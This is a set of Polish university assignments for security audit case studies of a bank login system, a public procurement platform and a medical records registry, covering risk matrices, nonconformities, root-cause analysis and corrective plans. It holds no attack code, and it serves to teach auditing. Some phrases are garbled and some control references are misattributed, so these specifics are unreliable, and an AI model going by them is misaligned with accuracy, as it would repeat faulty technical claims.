  • Niezgodność Duża (NC1): Brak automatycznej blokady konta po nieudanych próbach logowania i brak wykrywania ataków credential stuffing w systemie bankowości elektronicznej (Rekomendacja D KNF pkt 9.4/9.5, ISO 27001 A.8.5, A.8.2, A.8.16).
  • Niezgodność Duża (NC1): Brak silnego uwierzytelniania wieloskładnikowego (MFA/FIDO2) dla klientów VIP i brak kontekstowego SCA dla transakcji SEPA (PSD2 art. 97, Rekomendacja D KNF, DORA art. 9).
  • Niezgodność Mała (NC2): Endpoint enumeracji aktywnych kont przez różnicowanie kodów odpowiedzi (ISO 27001 A.8.5, A.8.2).
  • Niezgodność Mała (NC2): Brak dedykowanego monitoringu anomalii logowania i integracji z silnikiem oszustw (ISO 27001 A.8.15, A.8.16).
  • Szansa na doskonalenie (OFI): Wdrożenie augmentowanego modelu identity governance (centralna zerowa zaufanie, passkey/FIDO2 jako domyślny tryb logowania).
• Krok 4 (Dochodzenie przyczyn źródłowych metodą 5 Why):

  1. Dlaczego botnet skutecznie logował się do 2 300 kont klientów? (Ponieważ system nie blokował kont po nieudanych próbach i nie stosował reguł wykrywania anomalii logowania).

  2. Dlaczego brak było blokady kont i wykrywania anomalii? (Ponieważ wymagania systemu bankowości elektronicznej z 2004 r. nie przewidywały mechanizmów algorytmicznych, a modyfikacje systemu utrzymywały jedynie funkcjonalności produkcyjne).

  3. Dlaczego modyfikacje systemu nie aktualizowały mechanizmów bezpieczeństwa? (Ponieważ zarządzanie ryzykiem IT banku nie identyfikowało ataków credential stuffing jako wysoce istotnego ryzyka i nie planowało nakładów na ten obszar).

  4. Dlaczego nie rozpoznawano tego ryzyka? (Ponieważ brak było stałego procesu monitorowania zagrożeń (threat intelligence) i testów penetracyjnych symulujących ataki botnetowe).

  5. Root Cause (Przyczyna źródłowa): Przestarzała architektura uwierzytelniania banku i brak formalnego procesu identyfikacji nowych zagrożeń oraz testowania odporności mechanizmów logowania w cyklach rozwoju.

• Krok 5 (Konstrukcja Planu Działań Korygujących - CAP):

  Opracujcie tabelę CAP z kolumnami: Lp., Zidentyfikowana niezgodność (NC1/NC2/OFI), Działanie korygujące / zapobiegawcze, Właściciel biznesowy (rola), Termin wdrożenia (14-90 dni), Mierzalny wskaźnik sukcesu (KPI).

• Krok 6 (Przygotowanie referatu i dokumentacji raportowej):

  Zredagujcie raport poaudytowy o objętości 8-12 stron z pełnymi kartami i analizami, a następnie przygotujcie prezentację multimedialną do 15-minutowej obrony przed komisją.

Plan prezentacji referatu seminaryjnego (15 minut):

• Prezentacja badanego podmiotu i kontekstu regulacyjnego sektora bankowego (3 min): Profil banku, wymogi Rekomendacji D KNF, DORA i PSD2 (Student 1).
• Prezentacja techniczna dekonstrukcji mechanizmów uwierzytelniania (4 min): Analiza żądań logowania, botnetu, endpoint enumeracji kont, polityk MFA/SCA; demonstracja symulacji credential stuffing (Student 2).
• Prezentacja zaawansowanej analizy ryzyka w matrycy 3x3 i kwalifikacji NC1/NC2/OFI (3 min): Wyliczenia IR vs RR, powołanie Rekomendacji D, ISO 27001 A.8.5 i PSD2 (Student 3 lub Student 1).
• Prezentacja dochodzenia 5 Why, Planu CAP i wdrożenia FIDO2 (3 min): Omówienie przyczyn źródłowych, tabela CAP, model MFA/FIDO2, system anomaly detection (Student 2 i Student 3).
• Podsumowanie, rekomendacje strategiczne i dyskusja z komisją (2 min): Obrona realności wdrożeniowej zaleceń (cały zespół).

Wymagana struktura raportu poaudytowego na ocenę 4.0 (objętość 8-12 stron A4):

1. Podsumowanie zarządcze dla Zarządu i Rady Nadzorczej banku.

2. Odpowiedzi na zaawansowane pytania problemowe:

• Jak skonstruować bezpieczny proces logowania odporny na ataki credential stuffing (blokady progresywne, CAPTCHA adaptacyjna, reputacja IP, velocity checks) przy zachowaniu dostępności usługi?
• Jakie mechanizmy silnego uwierzytelniania (MFA/FIDO2/WebAuthn, passkey) i kontekstowego potwierdzania transakcji (SCA) są wymagane przez PSD2 i wytyczne EBA dla klientów bankowości elektronicznej?
• W jaki sposób wykorzystać model zerowego zaufania (Zero Trust) i wykrywanie anomalii (anomaly detection) w monitorowaniu logowań klientów VIP?

3. Opis stanu faktycznego i przebiegu testów bezpieczeństwa (symulacje credential stuffing, testy enumeracji, analiza logów).

4. Tabela Zaawansowanej Analizy Ryzyka w matrycy 3x3 (4 wektory, IR vs RR).

5. Formalne Karty Niezgodności (NC1/NC2/OFI).

6. Protokół dochodzenia przyczyn źródłowych (5 Why).

7. Szczegółowe rozwiązanie techniczne: przykładowa konfiguracja reguł blokady, integracja z silnikiem fraud detection, model FIDO2 dla klientów VIP, polityka odpowiedzi endpoint enumeracji.

8. Tabela Planu Działań Korygujących (CAP).

9. Analiza kompromisów inżynierskich (dostępność usługi vs. bezpieczeństwo, koszty MFA, doświadczenie klienta).

10. Bibliografia, netografia i odnośniki do norm i aktów prawnych.

• OWASP Foundation: "OWASP Top 10:2021", A07:2021 Identification and Authentication Failures.
• OWASP Foundation: "Application Security Verification Standard (ASVS)" - wymagania V2 (Authentication), V3 (Session Management).
• Komisja Nadzoru Finansowego: "Rekomendacja D dotycząca bezpieczeństwa obszarów operacyjnych i systemów teleinformatycznych" (wersja z 2020 r.) - pkt 9.4, 9.5, 10.1.
• Rozporządzenie Parlamentu Europejskiego i Rady (UE) 2022/2554 (DORA) - art. 9 (ocena ryzyka ICT), art. 13 (detekcja anomalii).
• Dyrektywa (UE) 2015/2366 (PSD2) - art. 97 i art. 97a (silne uwierzytelnianie klienta SCA).
• European Banking Authority: "Guidelines on the security measures for operational and security risks of payment services" (EBA/GL/2019/03).
• Norma PN-EN ISO/IEC 27001:2022: kontrole A.8.2, A.8.3, A.8.5, A.8.15, A.8.16.

• U2 Profesjonalna identyfikacja i formalna gradacja uchybień uwierzytelniania (NC1/NC2/OFI).
• U1 Opracowanie zaleceń modelu MFA/FIDO2, polityk blokad i wykrywania anomalii.
• U3 Zastosowanie zaawansowanej analizy ryzyka 3x3 w sektorze bankowym.
• U4 Konstrukcja Planu Działań Korygujących (CAP) ze wskaźnikami KPI oraz raportu 8-12 stron.
• W1W2W3 Głęboka znajomość Rekomendacji D KNF, DORA, PSD2/SCA, normy ISO 27001 i OWASP ASVS.
• K1K2K3 Obiektywizm, niezależność audytorska i profesjonalna komunikacja z zarządem i nadzorem banku.

Podczas obrony referatu zaprezentujcie komisji analizę statystyczną czasu odpowiedzi i kodów statusu endpońtów logowania (przed i po standaryzacji odpowiedzi) oraz sekwencję sekwencji dodatkowego uwierzytelnienia FIDO2 dla przelewu SEPA.

Głównym celem zadania jest opanowanie przez studentów zaawansowanych umiejętności audytowania integralności oprogramowania i danych w aplikacjach administracji rządowej (kategoria OWASP Top 10:2021 - A08:2021 Software and Data Integrity Failures). Studenci badają Krajową Platformę E-Zamówienia obsługującą postępowania o zamówienia publiczne w Polsce, w której wykryto niebezpieczne załadowanie bibliotek JavaScript z zewnętrznych sieci CDN bez stosowania atrybutu Subresource Integrity (SRI), podatne na manipulacje deserializowane obiekty Java w module składania ofert oraz brak weryfikacji integralności pobieranych pakietów oprogramowania w środowisku wytwórczym. Zadanie wymaga przeprowadzenia formalnej analizy ryzyka w matrycy 3x3 (ryzyko inherentne i rezydualne), opracowania kart niezgodności (NC1/NC2/OFI) w świetle Prawa zamówień publicznych (PZP), KRI i normy ISO/IEC 27001:2022, przeprowadzenia dochodzenia przyczyn źródłowych metodą 5 Why, a także skonstruowania kompletnego Planu Działań Korygujących (CAP) z przypisaniem ról, terminów i mierzalnych wskaźników KPI.

Powiązanie z sylabusem i treściami programowymi:

• U2 Identyfikacja i formalna gradacja uchybień integralności na Niezgodności Duże (NC1), Niezgodności Małe (NC2) oraz Szanse na poprawę (OFI).
• U1 Opracowanie zaleceń wdrożenia SRI, weryfikacji sum kontrolnych (hashe), bezpiecznej deserializacji i modelu integralności łańcucha dostaw.
• U3 Przeprowadzenie analizy ryzyka metodą 3x3 dla 4 wektorów zagrożeń w ujęciu inherentnym i rezydualnym.
• U4 Opracowanie ustrukturyzowanego raportu poaudytowego (8-12 stron), tabeli CAP i wygłoszenie 15-minutowego referatu seminaryjnego.
• W1W2W3 Zaawansowana znajomość PZP (art. 59 i 60), KRI, normy PN-EN ISO/IEC 27001:2022, standardów OWASP (A.8.26, A.8.28) i zaleceń NIST SSDF.
• K1K2K3 Obiektywizm, niezależność osądu audytorskiego i odpowiedzialność za integralność procesu zamówień publicznych.
• Powiązanie z wykładem: Wyk1 (Audyt bezpieczeństwa w administracji rządowej), Wyk3 (Kontrole A.8.26, A.8.28, A.5.21, A.8.29), Wyk4 (PZP, KRI w platformach publicznych), Wyk5 (Risk-based audit w matrycy 3x3), Wyk6 (Analiza nagłówków HTTP/SRI, deserializacji i łańcucha dostaw), Wyk7 (Procedura 5 Why i Plan CAP).

Krajowa Platforma E-Zamówienia pełni funkcję centralnego narzędzia informatyzującego udzielanie zamówień publicznych w Rzeczypospolitej Polskiej. System obsługuje rocznie ponad 450 000 postępowań, 1,2 mln wykonawców zarejestrowanych i udostępnia formularze ofertowe, komunikację i repozytorium dokumentów, komunikację z elektronicznym podpisem kwalifikowanym oraz nowe moduły do zarządzania umowami, klasyfikacji CPV i sprawozdawczości.

Stan faktyczny w obszarze integralności oprogramowania i danych:

• Strony internetowe platformy ładowały z zewnętrznych sieci CDN (uniwersalny dostawca) biblioteki JavaScript (np. jQuery ui, d3.min.js) bez atrybutu subresource integrity (SRI), bez atrybutu `crossorigin` i bez mechanizmów wymuszających użycie własnych, podpisanych zasobów.
• Moduł składania ofert przetwarza obiekty Java serializowane w formacie Java Serialization (blob) do bazy danych, a specyfikacja wersjonalna serwera umożliwiała deserializację dowolnych strumieni (dostępność util strumienia wejściowego) - podatność na techniki deserializacji typu "killer gadget" (np. bezpłatna generacja bytectiff) ułatwia potencjalne wykonanie kodu przez atakującego wykonującego manipulację w pakietach XML przesyłanych do serwera aplikacji.
• Aktualizacje wdrażane są metodą nadpisania na środowisku produkcyjnym bez kontroli integralności pakietów (brak weryfikacji sumy kontrolnej SHA-256, brak podpisu cyfrowego wersji i brak rollbacku), a budowanie artefaktów odbywa się przez ręczne wykonanie skryptów przez administratora bez nagrywania/archiwizacji buildów.
• Integracje z zewnętrznymi dostawcami tożsamości (ePUAP, mObywatel, Profil Zaufany) zawierają protokół przekazywania tokenów JWK, którego klucze publiczne nie są weryfikowane względem opublikowanych kluczy w domenie docelowej (podatność na atak typu key confusion).

Prezes Urzędu Zamówień Publicznych, zaskoczony raportem inspektora audytu wewnętrznego z zakresu integralności procesu przetargowego, zleca zaawansowany audyt bezpieczeństwa aplikacji na ocenę 4.0.

Zadanie realizowane jest przez 2-3 osobowy zespół audytorski w formule studium przypadku:

• Krok 1 (Podział ról w grupie audytowej):

  Student 1 (Audytor Wiodący / Governance i Zgodność Regulacyjna): Koordynuje prace zespołu, analizuje wymogi PZP (art. 59, 60) i KRI dla systemów teleinformatycznych publicznych, przygotowuje wnioski dla Prezesa UZP.

  Student 2 (Audytor Techniczny ds. Bezpieczeństwa Aplikacji i Integralności Danych): Analizuje ładowanie zasobów CDN/SRI, deserializację Java, weryfikację kluczy JWK, testuje integralność pakietów wdrożeniowych i projektuje model SRI.

  Student 3 (Audytor Zgodności Regulacyjnej, Ryzyka i Jakości CAP): Przeprowadza analizę ryzyka w matrycy 3x3, sporządza karty niezgodności (NC1/NC2/OFI), prowadzi dochodzenie 5 Why i konstruuje tabelę Planu CAP ze wskaźnikami KPI. W zespole 2-osobowym zadania te dzielą Studenci 1 i 2.

• Krok 2 (Zaawansowana analiza ryzyka metodą 3x3):

  Oszacujcie prawdopodobieństwo (P: 1-3) oraz skutek (S: 1-3) w skali 9-stopniowej dla 4 wektorów zagrożeń:

  1. Wstrzyknięcie złośliwego kodu JavaScript przez kompromitację zewnętrznej sieci CDN przy braku SRI (P=2, S=3 -> R=6; po kontrolach: SRI, self-hosting: P=1, S=2 -> R=2).

  2. Zdalne wykonanie kodu przez podatną deserializację obiektów Java w module ofert (P=3, S=3 -> R=9; po kontrolach: JEP-290, API-based serialization: P=1, S=3 -> R=3).

  3. Manipulacja kompletnym pakietem aktualizacji wdrożeniowej przy braku weryfikacji sum kontrolnych i podpisów (P=2, S=3 -> R=6; po kontrolach: CI/CD z podpisem SHA-256: P=1, S=3 -> R=3).

  4. Fałszerstwo tokenów JWK w integracji z dostawcami tożsamości przez brak weryfikacji kluczy publicznych (P=2, S=3 -> R=6; po kontrolach: OIDC/Dynamic Client Registration: P=1, S=2 -> R=2).

• Krok 3 (Formalna kwalifikacja uchybień - Karty Niezgodności):

  Sformułujcie karty uchybień z podziałem na:

  • Niezgodność Duża (NC1): Brak Subresource Integrity (SRI) dla zasobów JavaScript ładowanych z zewnętrznych CDN w portalu E-Zamówienia (ISO 27001 A.8.28, A.5.21, KRI § 20 ust. 2 pkt 5).
  • Niezgodność Duża (NC1): Podatna deserializacja obiektów Java umożliwiająca zdalne wykonanie kodu w module składania ofert (ISO 27001 A.8.28, A.8.26, OWASP A08:2021).
  • Niezgodność Mała (NC2): Brak weryfikacji integralności i podpisu pakietów aktualizacyjnych w procesie wdrożeń oraz brak archiwizacji buildów (ISO 27001 A.8.9, A.5.21, A.5.33).
  • Niezgodność Mała (NC2): Brak mechanizmu weryfikacji kluczy publicznych tokenów JWK w integracji z ePUAP/mObywatel (ISO 27001 A.8.28, A.5.16).
  • Szansa na doskonalenie (OFI): Wdrożenie fully reproducible builds i podpisu cyfrowego artifactów w CI/CD wraz z publikowaniem SBOM.
• Krok 4 (Dochodzenie przyczyn źródłowych metodą 5 Why):

  1. Dlaczego w portalu możliwe jest wykonanie niebezpiecznej deserializacji? (Ponieważ module ofert używany jest natywny mechanizm Java Serialization bez wywołań zabezpieczeń JEP-290).

  2. Dlaczego użyto natywnej serializacji Java? (Ponieważ inżynierowie wytwórcy platformy chcieli szybko przechowywać stan formularza ofertowego, wybierając prostotę zamiast bezpiecznego formatu danych).

  3. Dlaczego wymagania techniczne nie wykluczały natywnej serializacji? (Ponieważ standard bezpiecznego wytwarzania (SSDF) nie był wdrożony, a przeglądy kodu nie uwzględniały ryzyka deserializacji).

  4. Dlaczego brak było bezpiecznego standardu wytwarzania? (Ponieważ zamawiający nie formułował w umowie wymogów bezpieczeństwa cyklu życia oprogramowania, a rozwój powierzono wielu podwykonawcom).

  5. Root Cause (Przyczyna źródłowa): Brak egzekwowania bezpiecznych standardów wytwarzania i wymogów integralności w procesie zamówień na system teleinformatyczny w administracji rządowej.

• Krok 5 (Konstrukcja Planu Działań Korygujących - CAP):

  Opracujcie tabelę CAP z kolumnami: Lp., Zidentyfikowana niezgodność (NC1/NC2/OFI), Działanie korygujące / zapobiegawcze, Właściciel biznesowy (rola), Termin wdrożenia (14-90 dni), Mierzalny wskaźnik sukcesu (KPI).

• Krok 6 (Przygotowanie referatu i dokumentacji raportowej):

  Zredagujcie raport poaudytowy o objętości 8-12 stron z pełnymi kartami i analizami, a następnie przygotujcie prezentację multimedialną do 15-minutowej obrony przed komisją.

Plan prezentacji referatu seminaryjnego (15 minut):

• Prezentacja badanego podmiotu i kontekstu regulacyjnego PZP i KRI (3 min): Profil platformy E-Zamówienia, wymogi art. 59-60 PZP, KRI § 20 (Student 1).
• Prezentacja techniczna analizy wieczności integralności (4 min): Analiza SRI/CDN, deserializacji Java, JWK i integralności pakietów wdrożeniowych; demonstracja ataku klucza JWK (Student 2).
• Prezentacja zaawansowanej analizy ryzyka w matrycy 3x3 i kwalifikacji NC1/NC2/OFI (3 min): Wyliczenia IR vs RR, powołanie ISO 27001 A.8.28, A.5.21, KRI (Student 3 lub Student 1).
• Prezentacja dochodzenia 5 Why, Planu CAP i wdrożenia SRI/reproducible builds (3 min): Omówienie przyczyn źródłowych, tabela CAP, metodyka SRI i CI/CD (Student 2 i Student 3).
• Podsumowanie, rekomendacje strategiczne i dyskusja z komisją (2 min): Obrona realności wdrożeniowej zaleceń (cały zespół).

Wymagana struktura raportu poaudytowego na ocenę 4.0 (objętość 8-12 stron A4):

1. Podsumowanie zarządcze dla Prezesa UZP i administratorów platformy.

2. Odpowiedzi na zaawansowane pytania problemowe:

• Jak wdrożyć Subresource Integrity (SRI) i mechanizmy samodzielnego hostowania zasobów JavaScript w publicznej platformie rządowej?
• Jak zabezpieczyć deserializację danych Java (JEP-290, filtry blokad, alternatywy JSON/Protobuf) bez przebudowy architektury modułu ofert?
• Jak zapewnić integralność i powtarzalność wdrożeń (reproducible builds, podpis cyfrowy, archiwizacja) w administracji rządowej finansowanej ze środków publicznych?

3. Opis stanu faktycznego i przebiegu testów bezpieczeństwa (analiza treści odpowiedzi, RCE testy deserializacji, testy kluczy JWK).

4. Tabela Zaawansowanej Analizy Ryzyka w matrycy 3x3 (4 wektory, IR vs RR).

5. Formalne Karty Niezgodności (NC1/NC2/OFI).

6. Protokół dochodzenia przyczyn źródłowych (5 Why).

7. Szczegółowe rozwiązanie techniczne: odwołania do SRI, filtr JEP-290, konfiguracja CI/CD z podpisywaniem artifactów, weryfikacja kluczy JWK (OIDC).

8. Tabela Planu Działań Korygujących (CAP).

9. Analiza kompromisów inżynierskich (koszt self-hostingu CDN, wpływ reproducerability, migracja formatu serializacji).

10. Bibliografia, netografia i odnośniki do norm i aktów prawnych.

• OWASP Foundation: "OWASP Top 10:2021", A08:2021 Software and Data Integrity Failures (w tym brak SRI, deserializacja).
• OWASP Foundation: "Deserialization Cheat Sheet" (wersja 2023).
• MDN Web Docs: "Subresource Integrity" (SRI).
• NIST SP 800-218 (SSDF): "Secure Software Development Framework" - praktyki dotyczące integralności.
• Ustawa z dnia 11 września 2019 r. Prawo zamówień publicznych (Dz.U. z 2023 r. poz. 1690) - art. 59 i 60 (komunikacja elektroniczna, wymogi interoperacyjności).
• Rozporządzenie Rady Ministrów z dnia 12 kwietnia 2012 r. w sprawie KRI (Dz.U. 2017 poz. 2247) - § 20.
• Norma PN-EN ISO/IEC 27001:2022: kontrole A.5.21, A.8.26, A.8.28, A.8.9, A.8.29.

• U2 Profesjonalna identyfikacja i formalna gradacja uchybień integralności (NC1/NC2/OFI).
• U1 Opracowanie zaleceń SRI, bezpiecznej deserializacji i integralności wdrożeń.
• U3 Zastosowanie zaawansowanej analizy ryzyka 3x3 w administracji rządowej.
• U4 Konstrukcja Planu Działań Korygujących (CAP) ze wskaźnikami KPI oraz raportu 8-12 stron.
• W1W2W3 Głęboka znajomość PZP, KRI, normy ISO 27001, standardu SSDF i OWASP A08.
• K1K2K3 Obiektywizm audytorski i odpowiedzialność za integralność procesu zamówień publicznych.

Podczas obrony referatu zaprezentujcie komisji przykład kodu HTML z atrybutami SRI (przed i po audycie) oraz demonstrację dekodowania podpisanego pakietu wdrożeniowego z weryfikacją sumy kontrolnej, ilustrując zmiany w procesie dostarczania oprogramowania do środowiska produkcyjnego.

Głównym celem zadania jest opanowanie przez studentów zaawansowanych umiejętności audytowania mechanizmów rejestrowania zdarzeń, monitorowania i detekcji incydentów w systemach obsługujących dane wrażliwe (kategoria OWASP Top 10:2021 - A09:2021 Security Logging and Monitoring Failures). Studenci badają Ogólnopolski System Rejestru Orzeczeń Lekarskich prowadzony przez Centralny Ośrodek Medycyny Pracy w Łodzi (podmiot medyczny przetwarzający dane zdrowotne obywateli w trybie art. 9 RODO), w którym stwierdzono brak audytowych dzienników sesji, brak dziennika nieudanych logowań, brak spójnego powiązania zdarzeń z tożsamością użytkownika (brak powiązania pojedynczego zdarzenia z konkretnym zdarzeniem biznesowym) oraz brak narzędzi do wykrywania anomalii (SIEM). Zadanie wymaga przeprowadzenia formalnej analizy ryzyka w matrycy 3x3 (ryzyko inherentne i rezydualne), opracowania kart niezgodności (NC1/NC2/OFI) z precyzyjnym wskazaniem art. 33 RODO i punktów normy ISO/IEC 27001:2022, przeprowadzenia dochodzenia przyczyn źródłowych metodą 5 Why, a także skonstruowania kompletnego Planu Działań Korygujących (CAP) z przypisaniem ról, terminów i mierzalnych wskaźników KPI.

Powiązanie z sylabusem i treściami programowymi:

• U2 Identyfikacja i formalna gradacja uchybień rejestrowania na Niezgodności Duże (NC1), Niezgodności Małe (NC2) oraz Szanse na poprawę (OFI).
• U1 Opracowanie zaleceń rozbudowanego dziennika audytowego, powiązania zdarzeń z tożsamością, implementacji SIEM/SOAR i polityki retencji logów.
• U3 Przeprowadzenie analizy ryzyka metodą 3x3 dla 4 wektorów zagrożeń w ujęciu inherentnym i rezydualnym.
• U4 Opracowanie ustrukturyzowanego raportu poaudytowego (8-12 stron), tabeli CAP i wygłoszenie 15-minutowego referatu seminaryjnego.
• W1W2W3 Zaawansowana znajomość RODO art. 33 (zgłoszenie naruszenia do UODO), art. 32, KRI § 20, normy PN-EN ISO/IEC 27001:2022 (A.8.15, A.8.16, A.5.28) oraz standardu OWASP WSTG-INFO i wytycznych NIST.
• K1K2K3 Odpowiedzialność za ochronę danych wrażliwych, objektywizm i niezależność osądu audytorskiego.
• Powiązanie z wykładem: Wyk1 (Audyt bezpieczeństwa informacji w ochronie zdrowia), Wyk3 (Kontrole A.8.15, A.8.16, A.5.28, A.5.2 ISO 27001), Wyk4 (RODO art. 33, KRI w systemach medycznych), Wyk5 (Risk-based audit w matrycy 3x3), Wyk6 (Analiza logów i telemetrii), Wyk7 (Procedura 5 Why i Plan CAP).

Centralny Ośrodek Medycyny Pracy w Łodzi (CMP) prowadzi Ogólnopolski System Rejestru Orzeczeń Lekarskich (upraszczając: 'ORS'), w którym lekarze orzecznicy współpracujący z Zakładami Ubezpieczeń Społecznych wystawiają elektroniczne orzeczenia o niezdolności do pracy oraz dokumenty potwierdzające wynik badań medycyny pracy (w tym dopuszczenia do pracy na określonych stanowiskach). System ORS gromadzi 13 lat danych wrażliwych medycznych dla 2 mln obywateli rocznie i przetwarza je w architekturze mikroserwisowej (API REST + PostgreSQL + klastry Elasticsearch).

Stan faktyczny w obszarze rejestrowania i monitorowania:

• Dziennik zdarzeń aplikacji zapisywany jest z poziomu log4j w minimalnym zakresie (INFO o identyfikatorze transakcji bez tożsamości użytkownika, bez identyfikatora sesji, bez adresu IP, bez znacznika czasu w skali 1 s), bez korelacji zdarzeń biznesowych z konkretnym pacjentem i lekarzem orzecznikiem.
• Brak jest dziennika nieudanych prób logowania i dziennika zmian uprawnień (roles), brak logowania operacji na danych wrażliwych (odczyt, modyfikacja, usunięcie orzeczenia) w dzienniku informacyjnym i brak cele projekcji rachunkowości.
• Brak jest scentralizowanego systemu gromadzenia i analizy logów (SIEM, np. Wazuh/Splunk) - logi wieszają się lokalnie na serwerach przez 7 dni, po czym ulegają automatycznemu nadpisaniu (brak retencji zgodnej z politykami UODO/KRI).
• Detekcja anomalii nie istnieje: nie ma alertów na anomalie, przeboj scenariuszy (np. 2 000 nieudanych prób logowania w nocy), telemetria działania serwerów nie jest powiązana z procesem biznesowym orzeczeń. W trakcie audytu wykryto, że pojedynczy kontrakt po zakończeniu PESEL nie krył się sam w dziennikach - jego sesja nie była rejestrowana.
• Nie istnieje zintegrowany z systemem mechanizm powiadamiania o incydentach zgodny z art. 33 RODO (wymóg 72 godzin), a Inspektor Ochrony Danych nie ma narzędzi do szybkiej kwerendy po zdarzeniach.

Prezes CMP, w kontekście zapowiedzianego postępowania kontrolnego Prezesa UODO dotyczącego naruszeń, zleca zaawansowany audyt bezpieczeństwa informacji na ocenę 4.0.

Zadanie realizowane jest przez 2-3 osobowy zespół audytorski w formule studium przypadku:

• Krok 1 (Podział ról w grupie audytowej):

  Student 1 (Audytor Wiodący / Governance i Zgodność Prawna): Koordynuje prace zespołu, analizuje wymogi art. 33 RODO (zgłoszenie naruszenia do UODO w terminie 72 godz.), art. 32, wymogi KRI § 20, przygotowuje wnioski dla Prezesa CMP i Inspektora Ochrony Danych.

  Student 2 (Audytor Techniczny ds. Bezpieczeństwa Aplikacji i Logów): Analizuje konfigurację dzienników (log4j), powiązanie zdarzeń z tożsamością, architekturę gromadzenia logów, retencję i projektuje model SIEM.

  Student 3 (Audytor Zgodności Regulacyjnej, Ryzyka i Jakości CAP): Przeprowadza analizę ryzyka w matrycy 3x3, sporządza karty niezgodności (NC1/NC2/OFI), prowadzi dochodzenie 5 Why i konstruuje tabelę Planu CAP ze wskaźnikami KPI. W zespole 2-osobowym zadania te dzielą Studenci 1 i 2.

• Krok 2 (Zaawansowana analiza ryzyka metodą 3x3):

  Oszacujcie prawdopodobieństwo (P: 1-3) oraz skutek (S: 1-3) w skali 9-stopniowej dla 4 wektorów zagrożeń:

  1. Brak wykrycia nieautoryzowanego dostępu do danych orzeczeń w wyniku braku dzienników audytowych sesji (P=3, S=3 -> R=9; po kontrolach: dzienniki pełne, SIEM: P=1, S=3 -> R=3).

  2. Brak możliwości rozliczenia działań pojedynczego użytkownika (osobiście) w wyniku braku powiązania logów z tożsamością (P=3, S=3 -> R=9; po kontrolach: korelacja tożsamości, ki-Stream: P=1, S=2 -> R=2).

  3. Brak alertów na anomalie (np. botnet atakujący logowania) i opóźnione reagowanie (P=3, S=3 -> R=9; po kontrolach: SIEM, alerty: P=1, S=2 -> R=2).

  4. Brak 72-godzinnego raportowania naruszeń i niewykrycie zdarzeń przez retencję 7 dni (P=3, S=3 -> R=9; po kontrolach: retencja 12 miesięcy, procedury: P=1, S=2 -> R=2).

• Krok 3 (Formalna kwalifikacja uchybień - Karty Niezgodności):

  Sformułujcie karty uchybień z podziałem na:

  • Niezgodność Duża (NC1): Brak audytowych dzienników sesji i powiązania zdarzeń z tożsamością użytkownika w systemie orzeczeń lekarskich (ISO 27001 A.8.15 Rejestrowanie zdarzeń, A.5.28, art. 32 RODO).
  • Niezgodność Duża (NC1): Brak scentralizowanego monitorowania zdarzeń bezpieczeństwa (SIEM), braku detekcji anomalii i nieudanych logowań (ISO 27001 A.8.16 Monitorowanie aktywności, A.8.15, art. 33 RODO).
  • Niezgodność Mała (NC2): Zbyt krótka retencja logów (7 dni) niezgodna z politykami i wymogami KRI (ISO 27001 A.5.10, A.5.28, § 20 KRI).
  • Niezgodność Mała (NC2): Brak mechanizmu powiadamiania o naruszeniach zgodnego z art. 33 RODO (termin 72 godz.) (ISO 27001 A.5.2, A.5.28, RODO art. 33).
  • Szansa na doskonalenie (OFI): Wdrożenie panelu samoobsługi IOD z kwerendami zdarzeń i automatyzacją raportów naruszeń.
• Krok 4 (Dochodzenie przyczyn źródłowych metodą 5 Why):

  1. Dlaczego nie wykryto nieautoryzowanej sesji w systemie ORS? (Ponieważ system nie rejestrował sesji, a logi nie zawierały tożsamości użytkownika).

  2. Dlaczego system nie rejestrował sesji? (Ponieważ wymagania dotyczące dzienników aplikacji nie obejmowały identyfikatora sesji i tożsamości, a pliki log4j pozostawały w konfiguracji domyślnej).

  3. Dlaczego wymagania nie obejmowały identyfikatorów sesji? (Ponieważ w projekcie implementacji skupiono się na funkcjonalnościach wystawiania orzeczeń, a rozliczalność (accountability) potraktowano jako obszar mniejszego priorytetu).

  4. Dlaczego rozliczalność potraktowano jako obszar mniejszego priorytetu? (Ponieważ brak było przeglądu wymagań RODO art. 32 i art. 5 ust. 2 przez zespół projektowy oraz brak modelowania danych wrażliwych).

  5. Root Cause (Przyczyna źródłowa): Brak wdrożenia mechanizmów rozliczalności i monitorowania zdarzeń w aplikacji o charakterze medycznym oraz brak procedur audytu wewnętrznego dzienników w fazie utrzymania systemu.

• Krok 5 (Konstrukcja Planu Działań Korygujących - CAP):

  Opracujcie tabelę CAP z kolumnami: Lp., Zidentyfikowana niezgodność (NC1/NC2/OFI), Działanie korygujące / zapobiegawcze, Właściciel biznesowy (rola), Termin wdrożenia (14-90 dni), Mierzalny wskaźnik sukcesu (KPI).

• Krok 6 (Przygotowanie referatu i dokumentacji raportowej):

  Zredagujcie raport poaudytowy o objętości 8-12 stron z pełnymi kartami i analizami, a następnie przygotujcie prezentację multimedialną do 15-minutowej obrony przed komisją.

Plan prezentacji referatu seminaryjnego (15 minut):

• Prezentacja badanego podmiotu i kontekstu regulacyjnego RODO art. 33 (3 min): Profil CMP i systemu ORS, obowiązki zgłaszania naruszeń do UODO, § 20 KRI (Student 1).
• Prezentacja techniczna analizy dzienników i monitorowania (4 min): Analiza konfiguracji log4j, braku powiązania tożsamości, retencji logów, architektury SIEM; demonstracja utraty śladu zdarzeń (Student 2).
• Prezentacja zaawansowanej analizy ryzyka w matrycy 3x3 i kwalifikacji NC1/NC2/OFI (3 min): Wyliczenia IR vs RR, powołanie ISO 27001 A.8.15, A.8.16, art. 33 RODO (Student 3 lub Student 1).
• Prezentacja dochodzenia 5 Why, Planu CAP i modelu SIEM (3 min): Omówienie przyczyn źródłowych, tabela CAP, pełny dziennik sesji, SIEM/SOAR, retencja (Student 2 i Student 3).
• Podsumowanie, rekomendacje strategiczne i dyskusja z komisją (2 min): Obrona realności wdrożeniowej zaleceń (cały zespół).

Wymagana struktura raportu poaudytowego na ocenę 4.0 (objętość 8-12 stron A4):

1. Podsumowanie zarządcze dla Prezesa CMP i Inspektora Ochrony Danych.

2. Odpowiedzi na zaawansowane pytania problemowe:

• Jak skonfigurować kompletny dziennik audytowy (identyfikator sesji, tożsamość użytkownika, zdarzenie, timestamp, adres IP, wynik) w systemie mikroserwisowym?
• Jak wdrożyć scentralizowany SIEM (np. ELK/Elastic SIEM, Wazuh) do monitorowania nieudanych logowań, anomalii i zdarzeń dostępu do danych wrażliwych?
• Jak skonstruować procedurę zgłaszania naruszeń zgodną z art. 33 RODO (raport wstępny do 72 godz.) i zintegrować ją z dziennikami systemu?

3. Opis stanu faktycznego i przebiegu testów bezpieczeństwa (przegląd logów, testy śladu zdarzeń, testy reagowania).

4. Tabela Zaawansowanej Analizy Ryzyka w matrycy 3x3 (4 wektory, IR vs RR).

